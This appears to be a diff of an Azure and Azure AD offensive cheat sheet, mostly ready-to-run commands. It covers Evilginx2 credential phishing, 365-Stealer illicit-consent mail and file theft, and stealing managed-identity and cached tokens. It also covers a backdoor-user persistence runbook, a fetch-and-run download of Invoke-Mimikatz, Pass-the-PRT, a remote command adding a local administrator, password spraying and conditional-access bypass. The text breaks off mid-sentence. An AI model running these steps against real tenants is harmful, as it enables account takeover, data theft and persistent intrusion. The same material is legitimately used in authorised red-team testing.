+PS> az webapp list +PS> az functionapp list --query "[].[name]" -o table +PS> az storage account list +PS> az keyvault list +``` + +### Enumerate manually + +* Federation with Azure AD or O365 + ```powershell + https://login.microsoftonline.com/getuserrealm.srf?login=@&xml=1 + https://login.microsoftonline.com/getuserrealm.srf?login=root@.onmicrosoft.com&xml=1 + ``` +* Get the Tenant ID + ```powershell + https://login.microsoftonline.com//.well-known/openid-configuration + https://login.microsoftonline.com/.onmicrosoft.com/.well-known/openid-configuration + ``` + +## Enumeration methodology + +```powershell +# Check Azure Joined +PS> dsregcmd.exe /status ++----------------------------------------------------------------------+ +| Device State | ++----------------------------------------------------------------------+ + AzureAdJoined : YES + EnterpriseJoined : NO + DomainJoined : NO + Device Name : jumpvm + +# Enumerate resources +PS Az> Get-AzResource + +# Enumerate role assignments +PS Az> Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/` + +# Get info on a role +PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor" + +# Get info user +PS AzureAD> Get-AzureADUser -ObjectId +PS AzureAD> Get-AzureADUser -ObjectId test@.onmicrosoft.com | fl * + +# List all groups +PS AzureAD> Get-AzureADGroup -All $true + +# Get members of a group +PS Az> Get-AzADGroup -DisplayName '' +PS Az> Get-AzADGroupMember -GroupDisplayName '' | select UserPrincipalName + +# Get Azure AD information +PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1 +PS AADInternals> Get-AADIntLoginInformation -UserName admin@.onmicrosoft.com +PS AADInternals> Get-AADIntTenantID -Domain .onmicrosoft.com # Get Tenant ID +PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName # Get all the information + +# Check if there is a user logged-in to az cli +PS> az ad signed-in-user show + +# Check AppID Alternative Names/Display Name +PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq ""} | fl + + +# Get all application objects registered using the current tenant +PS AzureAD> Get-AzureADApplication -All $true + +# Get all details about an application +PS AzureAD> Get-AzureADApplication -ObjectId | fl * + +# List all VM's the user has access to +PS Az> Get-AzVM +PS Az> Get-AzVM | fl + +# Get all function apps +PS Az> Get-AzFunctionApp + +# Get all webapps +PS Az> Get-AzWebApp +PS Az> Get-AzWebApp | select-object Name, Type, Hostnames + +# List all storage accounts +PS Az> Get-AzStorageAccount +PS Az> Get-AzStorageAccount | fl + +# List all keyvaults +PS Az> Get-AzKeyVault +``` + +## Phishing with Evilginx2 + +```powershell +PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets +: config domain username.corp +: config ip 10.10.10.10 +: phishlets hostname o365 login.username.corp +: phishlets get-hosts o365 + +Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine + +# copy certificate and enable the phishing +PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt +PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key +: phishlets enable o365 + +# get the phishing URL +: lures create o365 +: lures get-url 0 +``` + +## Illicit Consent Grant + +> The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to. + +Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole` +* **Disable user consent** : Users cannot grant permissions to applications. +* **Users can consent to apps from verified publishers or your organization, but only for permissions you select** : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant +* **Users can consent to all apps** : allows all users to consent to any permission which doesn't require admin consent, +* **Custom app consent policy** + +### Register Application + +1. Login to https://portal.azure.com > Azure Active Directory +2. Click on **App registrations** > **New registration** +3. Enter the Name for our application +4. Under support account types select **"Accounts in any organizational directory (Any Azure AD directory - Multitenant)"** +5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is `https://:/login/authorized`. +6. Click **Register** and save the **Application ID** + +### Configure Application + +1. Click on `Certificates & secrets` +2. Click on `New client secret` then enter the **Description** and click on **Add**. +3. Save the **secret**'s value. +4. Click on API permissions > Add a permission +5. Click on Microsoft Graph > **Delegated permissions** +6. Search and select the below mentioned permissions and click on Add permission + * Contacts.Read + * Mail.Read / Mail.ReadWrite + * Mail.Send + * Notes.Read.All + * Mailboxsettings.ReadWrite + * Files.ReadWrite.All + * User.ReadBasic.All + * User.Read + +### Setup 365-Stealer + +:warning: Default port for 365-Stealer phishing is 443 + +- Run XAMPP and start Apache +- Clone 365-Stealer into `C:\xampp\htdocs\` + * `git clone https://github.com/AlteredSecurity/365-Stealer.git` +- Install the requirements + * Python3 + * PHP CLI or Xampp server + * `pip install -r requirements.txt` +- Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache +- Edit `C:/xampp/htdocs/yourvictims/index.php` if needed + - Disable IP whitelisting `$enableIpWhiteList = false;` +- Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims) + - **Client Id** (Mandatory): This will be the Application(Client) Id of the application that we registered. + - **Client Secret** (Mandatory): Secret value from the Certificates & secrets tab that we created. + - **Redirect URL** (Mandatory): Specify the redirect URL that we entered during registering the App like `https:///login/authorized` + - **Macros Location**: Path of macro file that we want to inject. + - **Extension in OneDrive**: We can provide file extensions that we want to download from the victims account or provide `*` to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc. + - **Delay**: Delay the request by specifying time in seconds while stealing +- Create a Self Signed Certificate to use HTTPS +- Run the application either click on the button or run this command : `python 365-Stealer.py --run-app` + - `--no-ssl`: disable HTTPS + - `--port`: change the default listening port + - `--token`: provide a specific token + - `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token +- Find the Phishing URL: go to `https://:` and click on **Read More** button or in the console. + +**Mitigation**: Enable `Do not allow user consent` for applications in the "Consent and permissions menu". + + +## Token from Managed Identity + +> **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**. + +Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : `env` + +Most of the time, you want a token for one of these resources: +* https://storage.azure.com +* https://vault.azure.net +* https://graph.microsoft.com +* https://management.azure.com + + +### Azure API via Powershell + +Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. + +Then query the Azure REST API to get the **subscription ID** and more . + +```powershell +$Token = 'eyJ0eX..' +$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' +# $URI = 'https://graph.microsoft.com/v1.0/applications' +$RequestParams = @{ + Method = 'GET' + Uri = $URI + Headers = @{ + 'Authorization' = "Bearer $Token" + } +} +(Invoke-RestMethod @RequestParams).value + +# List resources and check for runCommand privileges +$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' +$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: + logging.info('Python HTTP trigger function processed a request.') + IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] + IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] + cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) + val = os.popen(cmd).read() + return func.HttpResponse(val, status_code=200) +``` + + +### Get Tokens + +:warning: The lifetime of a Primary Refresh Token is 14 days! + +```powershell +# az cli - get tokens +az account get-access-token +az account get-access-token --resource-type aad-graph +# or Az +(Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token +# or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT +``` + +### Use Tokens + +> Tokens contain all the claims including that for MFA and Conditional Access + +* Az Powershell + ```powershell + PS C:\Tools> $token = 'eyJ0e..' + PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId + + # Access Token and Graph Token + PS C:\Tools> $token = 'eyJ0eX..' + PS C:\Tools> $graphaccesstoken = 'eyJ0eX..' + PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId + PS C:\Tools> Get-AzResource + # ERROR: 'this.Client.SubscriptionId' cannot be null. + # ---> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI + ``` +* AzureAD + ```powershell + Import-Module C:\Tools\AzureAD\AzureAD.psd1 + $AADToken = 'eyJ0…' + Connect-AzureAD -AadAccessToken $AADToken -TenantId -AccountId + ``` + +### Refresh Tokens + +* https://github.com/ConstantinT/Lantern + ```powershell + Lantern.exe cookie --derivedkey --context --prt + Lantern.exe mdm --joindevice --accesstoken (or some combination from the token part) --devicename --outpfxfile + Lantern.exe token --username --password + Lantern.exe token --refreshtoken + Lantern.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---username + --password ) + ``` +* https://github.com/rvrsh3ll/TokenTactics + ```powershell + Import-Module .\TokenTactics.psd1 + CommandType Name Version Source + ----------- ---- ------- ------ + Function Clear-Token 0.0.1 TokenTactics + Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics + Function Forge-UserAgent 0.0.1 TokenTactics + Function Get-AzureToken 0.0.1 TokenTactics + Function Get-TenantID 0.0.1 TokenTactics + Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics + Function Parse-JWTtoken 0.0.1 TokenTactics + Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics + Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics + Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics + Function RefreshTo-GraphToken 0.0.1 TokenTactics + Function RefreshTo-MAMToken 0.0.1 TokenTactics + Function RefreshTo-MSGraphToken 0.0.1 TokenTactics + Function RefreshTo-MSManageToken 0.0.1 TokenTactics + Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics + Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics + Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics + Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics + Function RefreshTo-OutlookToken 0.0.1 TokenTactics + Function RefreshTo-SubstrateToken 0.0.1 TokenTactics + ``` + +## Stealing Tokens + +* Get-AzurePasswords + ```powershell + Import-Module Microburst.psm1 + Get-AzurePasswords + Get-AzurePasswords -Verbose | Out-GridView + ``` + +### Stealing tokens from az cli + +* az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\\.Azure` +* azureProfile.json in the same directory contains information about subscriptions. + +### Stealing tokens from az powershell + +* Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\\.Azure` +* It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json** +* Users can save tokens using `Save-AzContext` + + +## Add credentials to all Enterprise Applications + +```powershell +# Add secrets +PS > . C:\Tools\Add-AzADAppSecret.ps1 +PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose + +# Use secrets to authenticate as Service Principal +PS > $password = ConvertTo-SecureString '' -AsPlainText -Force +PS > $creds = New-Object System.Management.Automation.PSCredential('', $password) +PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '' +``` + +## Spawn SSH for Azure Web App + +```powershell +az webapp create-remote-connection --subscription --resource-group -n +``` + +## Azure Storage Blob + +* Blobs - `*.blob.core.windows.net` +* File Services - `*.file.core.windows.net` +* Data Tables - `*.table.core.windows.net` +* Queues - `*.queue.core.windows.net` + +### Enumerate blobs + +```powershell +PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1 +PS > Invoke-EnumerateAzureBlobs -Base -OutputFile azureblobs.txt Found Storage Account - testsecure.blob.core.windows.net Found Storage Account - securetest.blob.core.windows.net Found Storage Account - securedata.blob.core.windows.net Found Storage Account - securefiles.blob.core.windows.net -Found Storage Account - securefilestorage.blob.core.windows.net -Found Storage Account - securestorageaccount.blob.core.windows.net -Found Storage Account - securesql.blob.core.windows.net -Found Storage Account - hrsecure.blob.core.windows.net -Found Storage Account - secureit.blob.core.windows.net -Found Storage Account - secureimages.blob.core.windows.net -Found Storage Account - securestorage.blob.core.windows.net +``` -Bing Found Storage Account - notrealstorage.blob.core.windows.net +### SAS URL -Found Container - hrsecure.blob.core.windows.net/NETSPItest +* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/) +* Click on **Open Connect Dialog** in the left menu. +* Select **Blob container**. +* On the **Select Authentication Method** page + * Select **Shared access signature (SAS)** and click on Next + * Copy the URL in **Blob container SAS URL** field. + +:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files. + +### List and download blobs + +```powershell +PS Az> Get-AzResource +PS Az> Get-AzStorageAccount -name -ResourceGroupName +PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name -ResourceGroupName ).context +PS Az> Get-AzStorageBlobContent -Container -Context (Get-AzStorageAccount -name -ResourceGroupName ).context -Blob +``` + +## Runbook Automation + +### Create a Runbook + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group +az ad signed-in-user list-owned-objects + +# If the user is not part of an "Automation" group. +# Add him to a custom group , e.g: "Automation Admins" +Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose + +# Get the role of a user on the Automation account +# Contributor or higher = Can create and execute Runbooks +Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/ + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName + +# Create a Powershell Runbook +PS C:\Tools> Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose + +# Publish the Runbook +Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose + +# Start the Runbook +Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose +``` + +### Persistence via Automation accounts + +* Create a new Automation Account + * "Create Azure Run As account": Yes +* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription* + * Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst + * Publish the runbook + * Add a webhook to the runbook +* Add the AzureAD module to the Automation account + * Update the Azure Automation Modules +* Assign "User Administrator" and "Subscription Owner" rights to the automation account +* Eventually lose your access… +* Trigger the webhook with a post request to create the new user + ```powershell + $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" + $AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}}) + $body = ConvertTo-Json -InputObject $AccountInfo + $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body + ``` + + +## Virtual Machine RunCommand + +Requirements: +* `Microsoft.Compute/virtualMachines/runCommand/action` + +```powershell +# Get Public IP of VM : query the network interface +PS AzureAD> Get-AzVM -Name -ResourceGroupName | select -ExpandProperty NetworkProfile +PS AzureAD> Get-AzNetworkInterface -Name +PS AzureAD> Get-AzPublicIpAddress -Name + +# Execute Powershell script on the VM +PS AzureAD> Invoke-AzVMRunCommand -VMName -ResourceGroupName -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose + +# Connect via WinRM +PS C:\Tools> $password = ConvertTo-SecureString '' -AsPlainText -Force +PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password) +PS C:\Tools> $sess = New-PSSession -ComputerName -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) +PS C:\Tools> Enter-PSSession $sess +``` + +> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System + +```powershell +# List available VMs +PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name +ResourceGroupName Name +----------------- ---- +TESTRESOURCES Remote-Test + +# Execute Powershell script on the VM +PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1 +``` + +Against the whole subscription using MicroBurst.ps1 + +```powershell +Import-module MicroBurst.psm1 +Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` -## Azure AD vs Active Directory +## KeyVault Secrets + +```powershell +# keyvault access token +curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER +curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER + +# connect +PS> $token = 'eyJ0..' +PS> $keyvaulttoken = 'eyJ0..' +PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -KeyVaultAccessToken $keyvaulttoken + +# query the vault and the secrets +PS Az> Get-AzKeyVault +PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault +PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText +``` + +## Pass The PRT + +> MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on). + +```powershell +# Run mimikatz to obtain the PRT +PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") +PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' + +# Copy the PRT and KeyValue +Mimikatz> privilege::debug +Mimikatz> token::elevate +Mimikatz> dpapi::cloudapkd /keyvalue: /unprotect + +# Copy the Context, ClearKey and DerivedKey +Mimikatz> dpapi::cloudapkd /context: /derivedkey: /Prt: +``` + +```powershell +# Generate a JWT +PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1 +PS AADInternals> $PRT_OF_USER = '...' +PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="} +PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER)) +PS AADInternals> $ClearKey = "XXYYZZ..." +PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne '')) +PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce +eyJ0eXAiOiJKV1QiL... +``` + +The `` (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf. +Edit the Chrome cookie (F12) -> Application -> Cookies with the values: + +```powershell +Name: x-ms-RefreshTokenCredential +Value: +HttpOnly: √ +``` + +:warning: Mark the cookie with the flags `HTTPOnly` and `Secure`. + + +## Pass The Certificate + +```ps1 +Copy-Item -ToSession $jumpvm -Path C:\Tools\PrtToCertmaster.zip -Destination C:\Users\Username\Documents\username –Verbose +Expand-Archive -Path C:\Users\Username\Documents\username\PrtToCert-master.zip -DestinationPath C:\Users\Username\Documents\username\PrtToCert + +# Require the PRT, TenantID, Context and DerivedKey +& 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\RequestCert.py --tenantId --prt --userName @.onmicrosoft.com --hexCtx --hexDerivedKey +# PFX saved with the name @.onmicrosoft.com.pfx and password AzureADCert +``` + +Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine + +https://github.com/morRubin/AzureADJoinedMachinePTC + +```ps1 +Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP +Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10 + +python Main.py --usercert C:\Users\Username\Documents\username\@.onmicrosoft.com.pfx -- +certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add" +``` + +## Intunes Administration + +Requirements: +* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"` + +1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT +2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune +3. Go to **Scripts** and click on **Add** for Windows 10. +4. Add a **Powershell script** +5. Specify **Add all users** and **Add all devices** in the **Assignments** page. + +:warning: It will take up to one hour before you script is executed ! + + + +## Dynamic Group Membership + +Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}` + +Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")` +Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group + +1. Open user's profile, click on **Manage** +2. Click on **Resend** invite and to get an invitation URL +3. Set the secondary email + ```powershell + PS> Set-AzureADUser -ObjectId -OtherMails @.onmicrosoft.com -Verbose + ``` + +## Administrative Unit + +> Administrative Unit can reset password of another user + +```powershell +PS AzureAD> Get-AzureADMSAdministrativeUnit -Id +PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id +PS AzureAD> Get-AzureADMSScopedRoleMembership -Id | fl +PS AzureAD> Get-AzureADDirectoryRole -ObjectId +PS AzureAD> Get-AzureADUser -ObjectId | fl +PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force +PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "@.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose +``` + +## Deployment Template + +```powershell +PS Az> Get-AzResourceGroup +PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP + +# Export +PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -DeploymentName +cat .json # search for hardcoded password +cat | Select-String password +``` + +## Application Proxy + +```powershell +# Enumerate application that have Proxy +PS C:\Tools> Get-AzureADApplication | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} +PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"} +PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1 +PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId +``` + +## Conditional Access + +* Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc) +* Bypassing conditional access by faking device compliance + ```powershell + # AAD Internals - Making your device compliant + # Get an access token for AAD join and save to cache + Get-AADIntAccessTokenForAADJoin -SaveToCache + # Join the device to Azure AD + Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64" + # Marking device compliant - option 1: Registering device to Intune + # Get an access token for Intune MDM and save to cache (prompts for credentials) + Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache + # Join the device to Intune + Join-AADIntDeviceToIntune -DeviceName "SixByFour" + # Start the call back + Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour" + ``` + + +## Azure AD + +With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD. + +1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/) +2. Change your browser URL to: https://azure.microsoft.com/ +3. Pick the account from the active sessions +4. Select Azure Active Directory and enjoy! + +### Azure AD vs Active Directory | Active Directory | Azure AD | |---|---| @@ -164,7 +934,6 @@ Found Container - hrsecure.blob.core.windows.net/NETSPItest | Domain/forest | Tenant | | Trusts | Guests | - * Password Hash Syncronization (PHS) * Passwords from on-premise AD are sent to the cloud * Use replication via a service account created by AD Connect @@ -173,137 +942,13 @@ Found Container - hrsecure.blob.core.windows.net/NETSPItest * Connect Windows Server AD to Azure AD using Federation Server (ADFS) * Dir-Sync : Handled by on-premise Windows Server AD, sync username/password -## Azure AD - Enumeration -> By default it is possible to query almost all the information about the directory as authenticated user, even when the Azure portal is restricted, using Azure AD Graph. +* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large +* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large +* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large +* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large -Check if the compagny is using Azure AD with `https://login.microsoftonline.com/getuserrealm.srf?login=username@target.onmicrosoft.com&xml=1`. - -```powershell -$ git clone https://github.com/dirkjanm/ROADtools -$ pip install roadrecon -$ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout] -$ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa] -$ roadrecon dump -$ roadrecon gui -``` - -Can be used in BloodHound using the fork : https://github.com/dirkjanm/BloodHound-AzureAD - -```powershell -PS C:\> git clone https://github.com/adrecon/AzureADRecon.git -PS C:\> Install-Module -Name AzureAD -PS C:\> .\AzureADRecon.ps1 - -or - -PS C:\> $username = "username@fqdn" -PS C:\> $passwd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force -PS C:\> $creds = New-Object System.Management.Automation.PSCredential ($username, $passwd) -PS C:\> .\AzureADRecon.ps1 -Credential $creds - -PS C:\>.\AzureADRecon.ps1 -GenExcel C:\AzureADRecon-Report- -``` - -Stormspotter, graphing Azure and Azure Active Directory objects - -```powershell -$ docker run --name stormspotter -p7474:7474 -p7687:7687 -d --env NEO4J_AUTH=neo4j/[password] neo4j:3.5.18 -git clone https://github.com/Azure/Stormspotter -cd Stormspotter -pipenv install . -stormspotter --cli -stormdash -dbu -dbp -Browse to http://127.0.0.1:8050 to interact with the graph. -``` - -Other interesting commands to enumerate Azure AD. - -```powershell -# Azure AD powershell module -Get-AzureADDirectoryRole - -# MSOnline powershell module -Get-MsolRole -Get-MsolRoleMember -RoleObjectId XXXXXXXXXX-XXXX-XXXX... | fl - -#Connect to Azure AD using Powershell -install-module azuread -import-module azuread -get-module azuread -connect-azuread - -# Get list of users with role global admins# Note that role =! group -$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'} -Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId - -# Get all groups and an example using filter -Get-AzureADGroup -Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" - -# Get Azure AD policy -Get-AzureADPolicy - -# Get Azure AD roles with some examples -Get-AzureADDirectoryRole -Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'} -Get-AzureADDirectoryRoleTemplate - -# Get Azure AD SPNs -Get-AzureADServicePrincipal - -# Log in using Azure CLI (this is not powershell) -az login --allow-no-subscriptions - -# Get member list using Azure CLI -az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators' - -# Get user list -az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='username@domain.com' - -#PS script to get array of users / roles -$roleUsers = @() -$roles=Get-AzureADDirectoryRole - -ForEach($role in $roles) { - $users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId - ForEach($user in $users) { - write-host $role.DisplayName,$user.DisplayName - $obj = New-Object PSCustomObject - $obj | Add-Member -type NoteProperty -name RoleName -value "" - $obj | Add-Member -type NoteProperty -name UserDisplayName -value "" - $obj | Add-Member -type NoteProperty -name IsAdSynced -value false - $obj.RoleName=$role.DisplayName - $obj.UserDisplayName=$user.DisplayName - $obj.IsAdSynced=$user.DirSyncEnabled -eq $true - $roleUsers+=$obj - } -} -$roleUsers - -### Enumeration using Microburst -git clone https://github.com/NetSPI/MicroBurst/blob/master/Get-AzureADDomainInfo.ps1 -Import-Module .\MicroBurst.psm1 - -# Anonymous enumeration -Invoke-EnumerateAzureBlobs -Base company -Invoke-EnumerateAzureSubDomains -base company -verbose - -# Authencticated enumeration -Get-AzureADDomainInfo -Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo -Get-MSOLDomainInfo -``` - - -With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD. - -1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/) -2. Change your browser URL to: https://azure.microsoft.com/ -3. Pick the account from the active sessions -4. Select Azure Active Directory and enjoy! - -## Azure AD - Password Spray +### Password Spray > Default lockout policy of 10 failed attempts, locking out an account for 60 seconds @@ -320,7 +965,7 @@ Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme! # URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. ``` -## Azure AD - Convert GUID to SID +### Convert GUID to SID The user's AAD id is translated to SID by concatenating `"S-1–12–1-"` to the decimal representation of each section of the AAD Id. @@ -331,26 +976,38 @@ SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)] For example, the representation of 